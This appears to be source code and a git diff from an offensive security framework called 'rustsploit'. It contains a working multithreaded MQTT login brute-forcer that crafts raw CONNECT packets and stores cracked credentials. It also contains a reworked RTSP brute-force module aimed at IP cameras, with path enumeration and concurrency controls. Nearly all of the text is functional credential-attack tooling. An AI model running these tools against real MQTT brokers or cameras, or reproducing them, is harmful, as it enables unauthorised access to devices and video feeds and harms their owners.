let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
|
||||
let threads = prompt_threads(8);
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true);
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false);
|
||||
let verbose = prompt_yes_no("Verbose mode?", false);
|
||||
let client_id = prompt_default("MQTT Client ID", "rustsploit_client");
|
||||
|
||||
let config = MqttBruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
client_id,
|
||||
};
|
||||
run_mqtt_bruteforce(config)
|
||||
}
|
||||
|
||||
fn run_mqtt_bruteforce(config: MqttBruteforceConfig) -> Result<()> {
|
||||
let addr = normalize_target(&config.target, config.port)?;
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow!("Username or password wordlist is empty."));
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
|
||||
println!("{}", format!("[*] Loaded {} password(s).", passwords.len()).cyan());
|
||||
|
||||
let total_attempts = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
passwords.len()
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
if config.full_combo {
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
tx.send((u.clone(), p.clone())).map_err(|e| anyhow!("Channel send error: {}", e))?;
|
||||
}
|
||||
}
|
||||
} else if usernames.len() == 1 {
|
||||
for p in &passwords {
|
||||
tx.send((usernames[0].clone(), p.clone())).map_err(|e| anyhow!("Channel send error: {}", e))?;
|
||||
}
|
||||
} else if passwords.len() == 1 {
|
||||
for u in &usernames {
|
||||
tx.send((u.clone(), passwords[0].clone())).map_err(|e| anyhow!("Channel send error: {}", e))?;
|
||||
}
|
||||
} else {
|
||||
for p in &passwords {
|
||||
tx.send((usernames[0].clone(), p.clone())).map_err(|e| anyhow!("Channel send error: {}", e))?;
|
||||
}
|
||||
}
|
||||
drop(tx);
|
||||
|
||||
// Start progress reporter thread
|
||||
let progress_stop = Arc::clone(&stop_flag);
|
||||
let progress_stats = Arc::clone(&stats);
|
||||
let progress_handle = std::thread::spawn(move || {
|
||||
while !progress_stop.load(Ordering::Relaxed) {
|
||||
progress_stats.print_progress();
|
||||
std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS));
|
||||
}
|
||||
});
|
||||
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let unknown = Arc::clone(&unknown);
|
||||
let stats = Arc::clone(&stats);
|
||||
let config = config.clone();
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if stop_flag.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
match try_mqtt_login(&addr, &user, &pass, &config.client_id) {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] VALID: {}:{}", user, pass).green().bold());
|
||||
let mut creds = found.lock().unwrap();
|
||||
creds.push((user.clone(), pass.clone()));
|
||||
stats.record_attempt(true, false);
|
||||
if config.stop_on_success {
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
// Drain remaining items from channel
|
||||
while rx.try_recv().is_ok() {}
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats.record_attempt(false, false);
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown.lock().unwrap();
|
||||
unk.push((user.clone(), pass.clone(), msg.clone()));
|
||||
}
|
||||
if config.verbose {
|
||||
eprintln!("\r{}", format!("[?] {}:{} -> {}", user, pass, msg).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
pool.join();
|
||||
|
||||
// Stop progress reporter
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.join();
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
let found_guard = found.lock().unwrap();
|
||||
if found_guard.is_empty() {
|
||||
println!("{}", "[-] No valid credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", found_guard.len()).green().bold());
|
||||
for (u, p) in found_guard.iter() {
|
||||
println!(" {} {}:{}", "✓".green(), u, p);
|
||||
}
|
||||
if prompt("\nSave found credentials? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
let f = prompt("What should the valid results be saved as?: ");
|
||||
if !f.trim().is_empty() {
|
||||
save_results(&f, &found_guard)?;
|
||||
println!("{}", format!("[+] Results saved to {}", f).green());
|
||||
} else {
|
||||
println!("{}", "[-] Filename cannot be empty. Skipping save.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(found_guard);
|
||||
|
||||
let unknown_guard = unknown.lock().unwrap();
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored MQTT responses.",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt("Save unknown responses to file? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y")
|
||||
{
|
||||
let default_name = "mqtt_bruteforce_unknown.txt";
|
||||
let fname = prompt(&format!(
|
||||
"What should the unknown results be saved as? [{}]: ",
|
||||
default_name
|
||||
));
|
||||
let chosen = if fname.trim().is_empty() {
|
||||
default_name.to_string()
|
||||
} else {
|
||||
fname.trim().to_string()
|
||||
};
|
||||
if let Err(e) = save_unknown_mqtt(&chosen, &unknown_guard) {
|
||||
println!("{}", format!("[!] Failed to save unknown responses: {}", e).red());
|
||||
} else {
|
||||
println!("{}", format!("[+] Unknown responses saved to {}", chosen).green());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Try MQTT CONNECT with username/password
|
||||
/// Returns Ok(true) if connection accepted, Ok(false) if auth failed, Err on connection/protocol error
|
||||
fn try_mqtt_login(addr: &str, username: &str, password: &str, client_id: &str) -> Result<bool> {
|
||||
let socket = addr.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Could not resolve address"))?;
|
||||
|
||||
let mut stream = TcpStream::connect_timeout(
|
||||
&socket,
|
||||
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS)
|
||||
)
|
||||
.context("Connection timeout")?;
|
||||
|
||||
stream.set_read_timeout(Some(Duration::from_millis(MQTT_READ_TIMEOUT_MS)))
|
||||
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
|
||||
stream.set_write_timeout(Some(Duration::from_millis(MQTT_READ_TIMEOUT_MS)))
|
||||
.map_err(|e| anyhow!("Failed to set write timeout: {}", e))?;
|
||||
|
||||
// Build MQTT CONNECT packet
|
||||
let mut packet = Vec::new();
|
||||
|
||||
// Fixed header: CONNECT (0x10), remaining length will be set later
|
||||
packet.push(0x10); // CONNECT packet type
|
||||
|
||||
// Variable header: Protocol name + version + flags + keep alive
|
||||
let protocol_name = b"MQTT";
|
||||
let protocol_level = 0x04; // MQTT 3.1.1
|
||||
|
||||
// Username flag (bit 7) and Password flag (bit 6) in connect flags
|
||||
let connect_flags = 0xC0; // 0b11000000 = username + password flags set
|
||||
let keep_alive: u16 = 60; // 60 seconds
|
||||
|
||||
// Calculate variable header length
|
||||
let mut var_header = Vec::new();
|
||||
var_header.extend_from_slice(&(protocol_name.len() as u16).to_be_bytes());
|
||||
var_header.extend_from_slice(protocol_name);
|
||||
var_header.push(protocol_level);
|
||||
var_header.push(connect_flags);
|
||||
var_header.extend_from_slice(&keep_alive.to_be_bytes());
|
||||
|
||||
// Payload: Client ID, Username, Password
|
||||
let mut payload = Vec::new();
|
||||
|
||||
// Client ID (UTF-8 string, 2 bytes length + data)
|
||||
let client_id_bytes = client_id.as_bytes();
|
||||
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(client_id_bytes);
|
||||
|
||||
// Username (UTF-8 string, 2 bytes length + data)
|
||||
let username_bytes = username.as_bytes();
|
||||
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(username_bytes);
|
||||
|
||||
// Password (UTF-8 string, 2 bytes length + data)
|
||||
let password_bytes = password.as_bytes();
|
||||
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(password_bytes);
|
||||
|
||||
// Calculate remaining length (variable header + payload)
|
||||
let remaining_length = var_header.len() + payload.len();
|
||||
|
||||
// Encode remaining length (MQTT variable length encoding)
|
||||
let mut remaining_length_bytes = Vec::new();
|
||||
let mut x = remaining_length;
|
||||
loop {
|
||||
let mut byte = (x % 128) as u8;
|
||||
x /= 128;
|
||||
if x > 0 {
|
||||
byte |= 0x80;
|
||||
}
|
||||
remaining_length_bytes.push(byte);
|
||||
if x == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Build complete packet
|
||||
packet.extend_from_slice(&remaining_length_bytes);
|
||||
packet.extend_from_slice(&var_header);
|
||||
packet.extend_from_slice(&payload);
|
||||
|
||||
// Send CONNECT packet
|
||||
use std::io::Write;
|
||||
stream.write_all(&packet)
|
||||
.context("Failed to send CONNECT packet")?;
|
||||
stream.flush()
|
||||
.context("Failed to flush CONNECT packet")?;
|
||||
|
||||
// Read CONNACK response
|
||||
use std::io::Read;
|
||||
let mut response = [0u8; 4];
|
||||
let n = stream.read(&mut response)
|
||||
.context("Failed to read CONNACK response")?;
|
||||
|
||||
if n < 2 {
|
||||
return Err(anyhow!("CONNACK response too short"));
|
||||
}
|
||||
|
||||
// Check packet type (should be 0x20 = CONNACK)
|
||||
if response[0] != 0x20 {
|
||||
return Err(anyhow!("Expected CONNACK (0x20), got 0x{:02x}", response[0]));
|
||||
}
|
||||
|
||||
// Check return code (byte 3 in variable header)
|
||||
if n >= 4 {
|
||||
let return_code = response[3];
|
||||
match return_code {
|
||||
0x00 => {
|
||||
// Success - send DISCONNECT and return true
|
||||
let disconnect = vec![0xE0, 0x00]; // DISCONNECT packet
|
||||
stream.write_all(&disconnect).ok();
|
||||
stream.flush().ok();
|
||||
return Ok(true);
|
||||
}
|
||||
0x04 => {
|
||||
// Bad username or password
|
||||
return Ok(false);
|
||||
}
|
||||
0x05 => {
|
||||
// Not authorized
|
||||
return Ok(false);
|
||||
}
|
||||
_ => {
|
||||
return Err(anyhow!("CONNACK return code: 0x{:02x}", return_code));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// If we didn't get enough bytes, assume failure
|
||||
return Ok(false);
|
||||
}
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path)
|
||||
.context(format!("Failed to open file: {}", path))?;
|
||||
Ok(BufReader::new(file)
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|s| !s.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(path)
|
||||
.context(format!("Failed to create file: {}", path))?;
|
||||
for (u, p) in creds {
|
||||
writeln!(file, "{}:{}", u, p)
|
||||
.context(format!("Failed to write to file: {}", path))?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn save_unknown_mqtt(path: &str, entries: &[(String, String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(path)
|
||||
.context(format!("Failed to create file: {}", path))?;
|
||||
|
||||
writeln!(file, "# MQTT Bruteforce Unknown/Errored Responses")
|
||||
.context(format!("Failed to write to file: {}", path))?;
|
||||
writeln!(file, "# Format: username:password - error/response")
|
||||
.context(format!("Failed to write to file: {}", path))?;
|
||||
writeln!(file)
|
||||
.context(format!("Failed to write to file: {}", path))?;
|
||||
|
||||
for (user, pass, msg) in entries {
|
||||
writeln!(file, "{}:{} - {}", user, pass, msg)
|
||||
.context(format!("Failed to write to file: {}", path))?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg);
|
||||
if let Err(e) = io::stdout().flush() {
|
||||
eprintln!("[!] Failed to flush stdout: {}", e);
|
||||
}
|
||||
let mut b = String::new();
|
||||
match io::stdin().read_line(&mut b) {
|
||||
Ok(_) => b.trim().to_string(),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read input: {}", e);
|
||||
String::new()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> String {
|
||||
let input = prompt(&format!("{} [{}]: ", msg, default));
|
||||
if input.trim().is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
input.trim().to_string()
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_port(default: u16) -> u16 {
|
||||
loop {
|
||||
let input = prompt(&format!("Port (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default;
|
||||
}
|
||||
match input.parse::<u16>() {
|
||||
Ok(0) => println!("[!] Port cannot be zero. Please enter a value between 1 and 65535."),
|
||||
Ok(port) => return port,
|
||||
Err(_) => println!("[!] Invalid port. Please enter a number between 1 and 65535."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_threads(default: usize) -> usize {
|
||||
loop {
|
||||
let input = prompt(&format!("Threads (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default.max(1);
|
||||
}
|
||||
if let Ok(value) = input.parse::<usize>() {
|
||||
if value >= 1 && value <= 1024 {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
println!("[!] Invalid thread count. Please enter a value between 1 and 1024.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
|
||||
if input.is_empty() {
|
||||
return default_yes;
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return true,
|
||||
"n" | "no" => return false,
|
||||
_ => println!("[!] Please respond with y or n."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_wordlist(message: &str) -> Result<String> {
|
||||
loop {
|
||||
let response = prompt(message);
|
||||
if response.is_empty() {
|
||||
println!("[!] Path cannot be empty.");
|
||||
continue;
|
||||
}
|
||||
let trimmed = response.trim();
|
||||
if Path::new(trimmed).is_file() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("File '{}' does not exist or is not a regular file.", trimmed).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$")
|
||||
.map_err(|e| anyhow!("Regex compilation error: {}", e))?;
|
||||
let t = host.trim();
|
||||
let cap = re.captures(t)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = cap.get(1)
|
||||
.ok_or_else(|| anyhow!("Invalid target: {}", host))?
|
||||
.as_str();
|
||||
let p = cap.get(2)
|
||||
.map(|m| m.as_str().parse::<u16>().ok())
|
||||
.flatten()
|
||||
.unwrap_or(port);
|
||||
let f = if addr.contains(':') && !addr.starts_with('[') {
|
||||
format!("[{}]:{}", addr, p)
|
||||
} else {
|
||||
format!("{}:{}", addr, p)
|
||||
};
|
||||
if f.to_socket_addrs()?.next().is_none() {
|
||||
Err(anyhow!("DNS resolution failed: {}", f))
|
||||
} else {
|
||||
Ok(f)
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -2,24 +2,108 @@ use anyhow::{anyhow, Result};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::SocketAddr,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
time::Instant,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::Mutex,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
|
||||
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Advanced RTSP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RTSP Port", "554")?;
|
||||
@@ -62,25 +146,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let advanced_headers = Arc::new(advanced_headers);
|
||||
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = prompt_required("Path to RTSP paths file")?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
if paths.is_empty() {
|
||||
println!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let (addr, implicit_path) = normalize_target_input(target, port)?;
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let resolved_addrs = match resolve_targets(&addr).await {
|
||||
Ok(addrs) => Arc::new(addrs),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
@@ -97,78 +180,161 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let mut idx = 0;
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = prompt_required("Path to RTSP paths file")?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
if paths.is_empty() {
|
||||
println!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
if let Some(p) = implicit_path {
|
||||
if !paths.iter().any(|existing| existing == &p) {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut idx = 0usize;
|
||||
|
||||
for pass in pass_lines {
|
||||
if *stop.lock().await {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let userlist = if combo_mode {
|
||||
let userlist: Vec<String> = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
let mut handles = vec![];
|
||||
|
||||
for user in userlist {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
for path in &paths {
|
||||
if *stop.lock().await {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let path = path.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let path_clone = path.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let command = advanced_command.clone();
|
||||
let headers = advanced_headers.clone();
|
||||
let headers = Arc::clone(&advanced_headers);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let addrs_clone = Arc::clone(&resolved_addrs);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
if *stop.lock().await {
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
|
||||
match try_rtsp_login(
|
||||
addrs_clone.as_slice(),
|
||||
&addr_clone,
|
||||
&user_clone,
|
||||
&pass_clone,
|
||||
&path_clone,
|
||||
command.as_deref(),
|
||||
&headers,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => {
|
||||
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
|
||||
println!("[+] {} -> {}:{} [path={}]", addr, user, pass, path_str);
|
||||
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
|
||||
if stop_on_success {
|
||||
*stop.lock().await = true;
|
||||
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
|
||||
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
Ok(false) => log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path)),
|
||||
Err(e) => log(verbose, &format!("[!] {} -> error: {}", addr, e)),
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
}));
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
if handles.len() >= concurrency {
|
||||
for h in handles.drain(..) {
|
||||
let _ = h.await;
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task join error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found (with these paths).");
|
||||
println!("{}", "[-] No credentials found (with these paths).".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials (and paths):");
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
@@ -223,24 +389,24 @@ async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
|
||||
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
|
||||
async fn try_rtsp_login(
|
||||
addr: &str,
|
||||
addrs: &[SocketAddr],
|
||||
addr_display: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
let addrs = resolve_targets(addr).await?;
|
||||
let mut last_err = None;
|
||||
let mut stream = None;
|
